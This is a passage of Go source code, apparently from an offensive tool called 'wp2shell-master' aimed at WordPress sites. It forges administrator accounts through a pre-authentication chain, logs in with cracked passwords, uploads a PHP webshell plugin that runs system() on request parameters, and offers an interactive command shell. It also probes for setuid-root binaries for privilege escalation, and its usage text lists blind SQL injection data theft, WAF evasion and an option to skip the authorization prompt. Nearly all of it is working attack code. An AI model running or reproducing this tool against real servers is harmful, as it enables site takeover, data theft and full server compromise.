	activateRe := regexp.MustCompile(`href="([^"]*plugins\.php\?action=activate[^"]*)"`)
	am := activateRe.FindSubmatch(uploadBody)
	if am == nil {
		activateRe2 := regexp.MustCompile(`href="([^"]*action=activate[^"]*)"`)
		am = activateRe2.FindSubmatch(uploadBody)
	}
	if am == nil {
		return nil, "", "", fmt.Errorf("plugin activation link not found")
	}
	activateURL := unescapeHTML(string(am[1]))
	if !strings.HasPrefix(activateURL, "/") && !strings.HasPrefix(activateURL, "http") {
		activateURL = "/wp-admin/" + activateURL
	}

	info("  Activating plugin at: %s...", truncate(activateURL, 80))
	resp, _, err = r.session.get(activateURL)
	if resp != nil {
		info("  Activation response: HTTP %d", resp.StatusCode)
	}
	good("Webshell deployed and activated")

	// Build shell handle
	sh := &shellHandle{}

	if r.stealthMode {
		shellURI := r.session.baseURL + "/wp-content/plugins/" + slug + "/" + slug + ".php"
		sh.execCmd = func(cmd string) (string, error) {
			form := url.Values{cmdParam: {base64.StdEncoding.EncodeToString([]byte(cmd))}}
			hdr := map[string]string{
				authHeader:     authToken,
				"Content-Type": "application/x-www-form-urlencoded",
			}
			_, body, _, err := r.session.do("POST", shellURI, []byte(form.Encode()), hdr)
			if err != nil {
				return "", err
			}
			s := string(body)
			if strings.HasPrefix(s, marker+":") {
				return strings.TrimPrefix(s, marker+":"), nil
			}
			return s, nil
		}
		sh.cleanup = func() {
			info("Cleaning up webshell...")
			form := url.Values{rmParam: {"1"}}
			hdr := map[string]string{
				authHeader:     authToken,
				"Content-Type": "application/x-www-form-urlencoded",
			}
			r.session.do("POST", shellURI, []byte(form.Encode()), hdr)
			good("Webshell removed")
		}
	} else {
		shellURI := r.session.baseURL + "/?rest_route=/wp2shell/v1/" + cmdParam
		sh.execCmd = func(cmd string) (string, error) {
			payload, _ := json.Marshal(map[string]string{
				"c": base64.StdEncoding.EncodeToString([]byte(cmd)),
			})
			_, body, _, err := r.session.do("POST", shellURI, payload,
				map[string]string{"Content-Type": "application/json"})
			if err != nil {
				return "", err
			}
			var result map[string]any
			json.Unmarshal(body, &result)
			if result["marker"] == marker {
				if o, ok := result["output"].(string); ok {
					return o, nil
				}
			}
			return string(body), nil
		}
		sh.cleanup = func() {
			info("Cleaning up webshell...")
			payload, _ := json.Marshal(map[string]string{"rm": "1"})
			r.session.do("POST", shellURI, payload,
				map[string]string{"Content-Type": "application/json"})
			good("Webshell removed")
		}
	}

	return sh, username, password, nil
}

// ========================================================================
// RCE mode
// ========================================================================

func cmdRCE(targetURL, cmd string, interactive, noCleanup, yes, waf, stealth bool,
	sleepTime float64, timeout, rounds int, proxy string) int {

	if !strings.Contains(targetURL, "://") {
		targetURL = "https://" + targetURL
	}

	if !yes {
		if !confirmAuth(targetURL, "forge an admin and run the pre-auth RCE chain") {
			errMsg("aborted: authorization not confirmed")
			return 2
		}
	}

	r := newRCEEngine(targetURL, sleepTime, timeout, proxy, waf, stealth)

	sh, user, pw, err := r.deploy()
	if err != nil {
		errMsg("exploit failed: %v", err)
		return 2
	}
	good("Forged administrator: %s : %s", user, pw)

	info("[6/6] Executing payload...")

	// whoami test
	out, err := sh.execCmd("whoami")
	if err == nil && strings.TrimSpace(out) != "" {
		good("RCE CONFIRMED — whoami: %s", strings.TrimSpace(out))
	}

	rc := 0
	if interactive {
		interactiveShell(sh)
	} else {
		info("Executing command: %s", cmd)
		output, err := sh.execCmd(cmd)
		if err != nil {
			errMsg("command failed: %v", err)
			rc = 2
		} else {
			good("Command output:")
			fmt.Println(output)
		}
	}

	if noCleanup {
		warn("--no-cleanup: webshell left in place on target")
	} else {
		sh.cleanup()
	}
	return rc
}

// ========================================================================
// Shell mode (with cracked password)
// ========================================================================

func cmdShell(targetURL, user, password, cmd string, interactive, noCleanup, yes bool, timeout int) int {
	if !yes {
		if !confirmAuth(targetURL, "log in, upload a webshell plugin, and run commands") {
			errMsg("aborted: authorization not confirmed")
			return 2
		}
	}

	if !strings.Contains(targetURL, "://") {
		targetURL = "https://" + targetURL
	}

	c := newHTTPClient(targetURL, timeout, "", false)

	// Login
	info("logging in as %s ...", user)
	c.get("/wp-login.php")
	loginData := url.Values{
		"log": {user}, "pwd": {password},
		"wp-submit": {"Log In"},
		"redirect_to": {c.baseURL + "/wp-admin/"},
		"testcookie": {"1"},
	}
	c.do("POST", c.baseURL+"/wp-login.php", []byte(loginData.Encode()),
		map[string]string{"Content-Type": "application/x-www-form-urlencoded"})

	// Verify login
	_, usersPage, _ := c.get("/wp-admin/users.php")
	if !strings.Contains(string(usersPage), user) {
		errMsg("login failed (bad credentials or login hardening)")
		return 1
	}
	good("authenticated")

	// Upload plugin
	slug := "wp2shell-" + randHex(4)
	shellToken := randHex(18)
	phpCode := fmt.Sprintf(`<?php
/*
Plugin Name: %s
Description: AUTHORIZED wp2shell RCE PoC. Token-gated; self-deletes on ?rm=1.
Version: 0.0.1
*/
$__t = '%s';
if (isset($_GET['tok']) && hash_equals($__t, (string) $_GET['tok'])) {
    if (isset($_GET['rm'])) { @unlink(__FILE__); echo 'WP2SHELL_REMOVED'; exit; }
    if (isset($_GET['c'])) {
        echo "WP2SHELL_OUT_START\n";
        system($_GET['c']);
        echo "\nWP2SHELL_OUT_END";
    }
    exit;
}
`, slug, shellToken)

	zipData, _ := buildPluginZip(slug, phpCode)

	_, uploadPage, _ := c.get("/wp-admin/plugin-install.php?tab=upload")
	nonceRe := regexp.MustCompile(`name="_wpnonce" value="([^"]+)"`)
	nm := nonceRe.FindSubmatch(uploadPage)
	if nm == nil {
		errMsg("could not read upload nonce")
		return 1
	}
	nonce := string(nm[1])

	var mpBuf bytes.Buffer
	mpw := multipart.NewWriter(&mpBuf)
	mpw.WriteField("_wpnonce", nonce)
	mpw.WriteField("_wp_http_referer", "/wp-admin/plugin-install.php?tab=upload")
	mpw.WriteField("install-plugin-submit", "Install Now")
	part, _ := mpw.CreateFormFile("pluginzip", slug+".zip")
	part.Write(zipData)
	mpw.Close()

	info("uploading token-gated webshell plugin (%s) ...", slug)
	c.do("POST", c.baseURL+"/wp-admin/update.php?action=upload-plugin",
		mpBuf.Bytes(), map[string]string{"Content-Type": mpw.FormDataContentType()})

	shellPath := "/wp-content/plugins/" + slug + "/" + slug + ".php"

	runCmd := func(cmdStr string) (string, error) {
		q := url.Values{"tok": {shellToken}, "c": {cmdStr}}
		_, body, err := c.get(shellPath + "?" + q.Encode())
		if err != nil {
			return "", err
		}
		s := string(body)
		re := regexp.MustCompile(`(?s)WP2SHELL_OUT_START\n(.*)\nWP2SHELL_OUT_END`)
		m := re.FindStringSubmatch(s)
		if m != nil {
			return m[1], nil
		}
		return "", fmt.Errorf("no exec marker returned")
	}

	sh := &shellHandle{
		execCmd: runCmd,
		cleanup: func() {
			q := url.Values{"tok": {shellToken}, "rm": {"1"}}
			c.get(shellPath + "?" + q.Encode())
			info("cleanup: removed dropped plugin file")
		},
	}

	rc := 0
	if interactive {
		interactiveShell(sh)
	} else {
		info("executing: %s", cmd)
		output, err := runCmd(cmd)
		if err != nil {
			errMsg("%v", err)
			rc = 1
		} else {
			good("RCE confirmed. command output:\n%s", output)
		}
	}

	if !noCleanup {
		sh.cleanup()
	}
	return rc
}

// ========================================================================
// Root prereq check
// ========================================================================

func cmdRootPrereq(targetURL, user, password string, yes bool, timeout int) int {
	if !yes {
		if !confirmAuth(targetURL, "log in, upload a diagnostic plugin, and run commands") {
			errMsg("aborted: authorization not confirmed")
			return 2
		}
	}

	if !strings.Contains(targetURL, "://") {
		targetURL = "https://" + targetURL
	}

	c := newHTTPClient(targetURL, timeout, "", false)
	c.get("/wp-login.php")
	loginData := url.Values{
		"log": {user}, "pwd": {password},
		"wp-submit": {"Log In"},
		"redirect_to": {c.baseURL + "/wp-admin/"},
		"testcookie": {"1"},
	}
	c.do("POST", c.baseURL+"/wp-login.php", []byte(loginData.Encode()),
		map[string]string{"Content-Type": "application/x-www-form-urlencoded"})

	_, usersPage, _ := c.get("/wp-admin/users.php")
	if !strings.Contains(string(usersPage), user) {
		errMsg("login failed")
		return 1
	}
	good("authenticated")

	slug := "wp2shell-diag-" + randHex(4)
	diagToken := randHex(18)
	phpCode := fmt.Sprintf(`<?php
/* Plugin Name: %s */
$__t = '%s';
if (isset($_GET['tok']) && hash_equals($__t, (string) $_GET['tok'])) {
    if (isset($_GET['rm'])) { @unlink(__FILE__); echo 'WP2SHELL_REMOVED'; exit; }
    if (isset($_GET['c'])) {
        echo "WP2SHELL_OUT_START\n";
        system($_GET['c']);
        echo "\nWP2SHELL_OUT_END";
    }
    exit;
}`, slug, diagToken)

	zipData, _ := buildPluginZip(slug, phpCode)

	_, uploadPage, _ := c.get("/wp-admin/plugin-install.php?tab=upload")
	nonceRe := regexp.MustCompile(`name="_wpnonce" value="([^"]+)"`)
	nm := nonceRe.FindSubmatch(uploadPage)
	if nm == nil {
		errMsg("nonce not found")
		return 1
	}
	nonce := string(nm[1])

	var mpBuf bytes.Buffer
	mpw := multipart.NewWriter(&mpBuf)
	mpw.WriteField("_wpnonce", nonce)
	mpw.WriteField("_wp_http_referer", "/wp-admin/plugin-install.php?tab=upload")
	mpw.WriteField("install-plugin-submit", "Install Now")
	part, _ := mpw.CreateFormFile("pluginzip", slug+".zip")
	part.Write(zipData)
	mpw.Close()

	c.do("POST", c.baseURL+"/wp-admin/update.php?action=upload-plugin",
		mpBuf.Bytes(), map[string]string{"Content-Type": mpw.FormDataContentType()})

	shellPath := "/wp-content/plugins/" + slug + "/" + slug + ".php"
	runCmd := func(cmdStr string) string {
		q := url.Values{"tok": {diagToken}, "c": {cmdStr}}
		_, body, _ := c.get(shellPath + "?" + q.Encode())
		re := regexp.MustCompile(`(?s)WP2SHELL_OUT_START\n(.*)\nWP2SHELL_OUT_END`)
		m := re.FindStringSubmatch(string(body))
		if m != nil {
			return m[1]
		}
		return ""
	}

	commands := map[string]string{
		"uid":       "id; id -u",
		"uname":     "uname -srm",
		"arch":      "uname -m",
		"python":    "python3 --version 2>&1 || python --version 2>&1 || true",
		"suid_scan": "find /usr /bin /sbin /opt /snap -xdev -perm -4000 -user root -type f 2>/dev/null | head -50",
		"container": "cat /proc/1/cgroup 2>/dev/null | head -20; test -f /.dockerenv && echo DOCKERENV_PRESENT || true",
	}

	outputs := map[string]string{}
	for k, v := range commands {
		outputs[k] = runCmd(v)
	}

	fmt.Println("\n[+] RCE confirmed; root escalation prerequisite report:")
	checks := []struct{ name, detail string; ok bool }{
		{"remote-code-execution", func() string { if outputs["uid"] != "" { return "confirmed" }; return "unknown" }(), outputs["uid"] != ""},
		{"linux-kernel", strings.TrimSpace(outputs["uname"]), strings.Contains(strings.ToLower(outputs["uname"]), "linux")},
		{"architecture", strings.TrimSpace(outputs["arch"]), outputs["arch"] != ""},
		{"python-runtime", strings.TrimSpace(outputs["python"]), strings.Contains(outputs["python"], "Python")},
	}
	for _, ch := range checks {
		mark := "NO"
		if ch.ok {
			mark = "OK"
		}
		fmt.Printf("    %-24s %-3s %s\n", ch.name, mark, ch.detail)
	}

	suidLines := []string{}
	for _, line := range strings.Split(outputs["suid_scan"], "\n") {
		line = strings.TrimSpace(line)
		if strings.HasPrefix(line, "/") {
			suidLines = append(suidLines, line)
		}
	}
	if len(suidLines) > 0 {
		fmt.Printf("\n[*] setuid-root candidates (%d):\n", len(suidLines))
		for _, p := range suidLines {
			fmt.Printf("    %s\n", p)
		}
	}

	// cleanup
	q := url.Values{"tok": {diagToken}, "rm": {"1"}}
	c.get(shellPath + "?" + q.Encode())
	info("cleanup: removed diagnostic plugin")

	return 0
}

// ========================================================================
// Interactive shell
// ========================================================================

func interactiveShell(sh *shellHandle) {
	good("interactive command loop (type 'exit' or Ctrl-D to quit)")
	info("note: web command loop, not a PTY; job control and TTY-only tools will not work")

	cwd := "/var/www/html"
	out, err := sh.execCmd("pwd")
	if err == nil && strings.TrimSpace(out) != "" {
		lines := strings.Split(strings.TrimSpace(out), "\n")
		cwd = lines[len(lines)-1]
	}

	scanner := bufio.NewScanner(os.Stdin)
	for {
		fmt.Printf("wp2shell:%s$ ", cwd)
		if !scanner.Scan() {
			fmt.Println()
			break
		}
		line := strings.TrimSpace(scanner.Text())
		if line == "" {
			continue
		}
		if line == "exit" || line == "quit" {
			break
		}
		if line == "pwd" {
			fmt.Println(cwd)
			continue
		}
		if strings.HasPrefix(line, "cd ") || line == "cd" {
			target := strings.TrimSpace(strings.TrimPrefix(line, "cd"))
			if target == "" {
				target = "~"
			}
			cmd := fmt.Sprintf("cd %q && cd %q && pwd", cwd, target)
			out, err := sh.execCmd(cmd)
			if err == nil && strings.TrimSpace(out) != "" {
				lines := strings.Split(strings.TrimSpace(out), "\n")
				cwd = lines[len(lines)-1]
			}
			continue
		}

		cmd := fmt.Sprintf("cd %q && %s", cwd, line)
		out, err := sh.execCmd(cmd)
		if err != nil {
			errMsg("%v", err)
			continue
		}
		if out != "" {
			if strings.HasSuffix(out, "\n") {
				fmt.Print(out)
			} else {
				fmt.Println(out)
			}
		}
	}
}

// ========================================================================
// Authorization confirmation
// ========================================================================

func confirmAuth(targetURL, action string) bool {
	fmt.Fprintf(os.Stderr, "\n[!] authorization check\n"+
		"    about to %s\n"+
		"    target: %s\n"+
		"    this executes code and changes state on the target -- only continue\n"+
		"    if you own it or have explicit written authorization to test it.\n", action, targetURL)
	fmt.Fprint(os.Stderr, "    proceed? [y/N] ")

	scanner := bufio.NewScanner(os.Stdin)
	if !scanner.Scan() {
		return false
	}
	ans := strings.ToLower(strings.TrimSpace(scanner.Text()))
	return ans == "y" || ans == "yes"
}

// ========================================================================
// Utility
// ========================================================================

func unescapeHTML(s string) string {
	s = strings.ReplaceAll(s, "&amp;", "&")
	s = strings.ReplaceAll(s, "&lt;", "<")
	s = strings.ReplaceAll(s, "&gt;", ">")
	s = strings.ReplaceAll(s, "&quot;", `"`)
	s = strings.ReplaceAll(s, "&#039;", "'")
	return s
}

func truncate(s string, n int) string {
	if len(s) <= n {
		return s
	}
	return s[:n] + "..."
}

func min(a, b int) int {
	if a < b {
		return a
	}
	return b
}

// ========================================================================
// Usage + Main
// ========================================================================

func usage() {
	fmt.Fprintf(os.Stderr, `Usage: wp2shell-master <mode> [options] <target(s)>

Modes:
  scan         Non-destructive exposure check (version + batch route)
  check        Confirm blind SQLi (time-based, non-destructive)
  read         Extract data via blind SQLi
  shell        RCE via cracked admin password
  rce          Credential-less pre-auth RCE (full chain, no password needed)
  root-prereq  Shell-to-root prerequisite check

Examples:
  wp2shell-master scan host1.com host2.com -f hosts.txt -j
  wp2shell-master check https://target.com --waf --delay 3.0
  wp2shell-master read https://target.com --preset users
  wp2shell-master read https://target.com --expr "@@version"
  wp2shell-master shell https://target.com --user admin --password s3cret --cmd id
  wp2shell-master shell https://target.com --user admin --password s3cret -i
  wp2shell-master rce https://target.com --cmd id -y --waf
  wp2shell-master rce https://target.com -i -y --stealth
  wp2shell-master root-prereq https://target.com --user admin --password s3cret

Global Options:
  --waf            Enable WAF evasion (unicode escape, Origin/Referer, colon primer)
  --timeout N      HTTP timeout in seconds (default 15)
  --proxy URL      HTTP proxy (e.g. http://127.0.0.1:8080)
  -y, --yes        Skip authorization prompt

Scan Options:
  -f FILE          File with one host per line
  -j, --json       JSON output
  -t N             Concurrency (default 10)

SQLi Options (check/read):
  --delay N        SLEEP seconds for oracle (default 3.0)
  --rounds N       Median-of-N probes (default 3)
  --prefix STR     DB table prefix (default wp_)

Read Options:
  --preset NAME    version|database|db_user|users|siteurl (default users)
  --expr SQL       Raw SQL expression to extract
  --max-len N      Max extraction length (default 128)

Shell Options:
  --user NAME      Admin username (default admin)
  --password STR   Plaintext admin password
  --cmd CMD        Command to run (default id)
  -i               Interactive shell

RCE Options:
  --sleep N        SLEEP seconds for RCE detect (default 4.0)
  --stealth        Stealth shell mode (POST+header auth, default true)
  --no-stealth     Classic REST API shell mode
  --no-cleanup     Leave webshell in place
`)
}

func main() {
	if len(os.Args) < 2 {
		printBanner()
		usage()
		os.Exit(2)
	}

	mode := os.Args[1]
	if mode == "-h" || mode == "--help" || mode == "help" {
		printBanner()
		usage()
		os.Exit(0)
	}

	args := os.Args[2:]

	// Parse common flags manually (Go's flag package doesn't handle subcommands well with mixed positional args)
	var (
		waf       bool
		yes       bool
		jsonOut   bool
		interact  bool
		noCleanup bool
		stealth   = true
		timeout   = 15
		delay     = 3.0
		sleepTime = 4.0
		rounds    = 3
		threads   = 10
		maxLen    = 128
		proxy     string
		hostFile  string
		prefix    = "wp_"
		preset    = "users"
		expr      string
		user      = "admin"
		password  string
		cmd       = "id"
	)

	positional := []string{}
	for i := 0; i < len(args); i++ {
		a := args[i]
		next := func() string {
			i++
			if i < len(args) {
				return args[i]
			}
			return ""
		}
		switch a {
		case "--waf":
			waf = true
		case "-y", "--yes":
			yes = true
		case "-j", "--json":
			jsonOut = true
		case "-i", "--interactive":
			interact = true
		case "--no-cleanup":
			noCleanup = true
		case "--stealth":
			stealth = true
		case "--no-stealth":
			stealth = false
		case "--timeout":
			fmt.Sscanf(next(), "%d", &timeout)
		case "--delay":
			fmt.Sscanf(next(), "%f", &delay)
		case "--sleep":
			fmt.Sscanf(next(), "%f", &sleepTime)
		case "--rounds":
			fmt.Sscanf(next(), "%d", &rounds)
		case "-t", "--threads":
			fmt.Sscanf(next(), "%d", &threads)
		case "--max-len":
			fmt.Sscanf(next(), "%d", &maxLen)
		case "--proxy":
			proxy = next()
		case "-f", "--file":
			hostFile = next()
		case "--prefix":
			prefix = next()
		case "--preset":
			preset = next()
		case "--expr":
			expr = next()
		case "--user":
			user = next()
		case "--password":
			password = next()
		case "--cmd":
			cmd = next()
		default:
			if !strings.HasPrefix(a, "-") {
				positional = append(positional, a)
			} else {
				errMsg("unknown flag: %s", a)
				os.Exit(2)
			}
		}
	}

	printBanner()

	if waf {
		info("WAF evasion: ON (unicode escape + Origin/Referer + colon primer)")
	}

	switch mode {
	case "scan":
		os.Exit(cmdScan(positional, hostFile, threads, jsonOut))

	case "check":
		if len(positional) != 1 {
			errMsg("check requires exactly one target URL")
			os.Exit(2)
		}
		os.Exit(cmdCheck(positional[0], delay, timeout, proxy, rounds, waf))

	case "read":
		if len(positional) != 1 {
			errMsg("read requires exactly one target URL")
			os.Exit(2)
		}
		os.Exit(cmdRead(positional[0], preset, expr, prefix, maxLen, delay, timeout, proxy, rounds, waf))

	case "shell":
		if len(positional) != 1 {
			errMsg("shell requires exactly one target URL")
			os.Exit(2)
		}
		if password == "" {
			errMsg("shell requires --password")
			os.Exit(2)
		}
		os.Exit(cmdShell(positional[0], user, password, cmd, interact, noCleanup, yes, timeout))

	case "rce":
		if len(positional) != 1 {
			errMsg("rce requires exactly one target URL")
			os.Exit(2)
		}
		os.Exit(cmdRCE(positional[0], cmd, interact, noCleanup, yes, waf, stealth,
			sleepTime, timeout, rounds, proxy))

	case "root-prereq":
		if len(positional) != 1 {
			errMsg("root-prereq requires exactly one target URL")
			os.Exit(2)
		}
		if password == "" {
			errMsg("root-prereq requires --password")
			os.Exit(2)
		}
		os.Exit(cmdRootPrereq(positional[0], user, password, yes, timeout))

	default:
		errMsg("unknown mode: %s", mode)
		usage()
		os.Exit(2)
	}
}

// suppress unused import warnings
var _ = unicode.IsLetter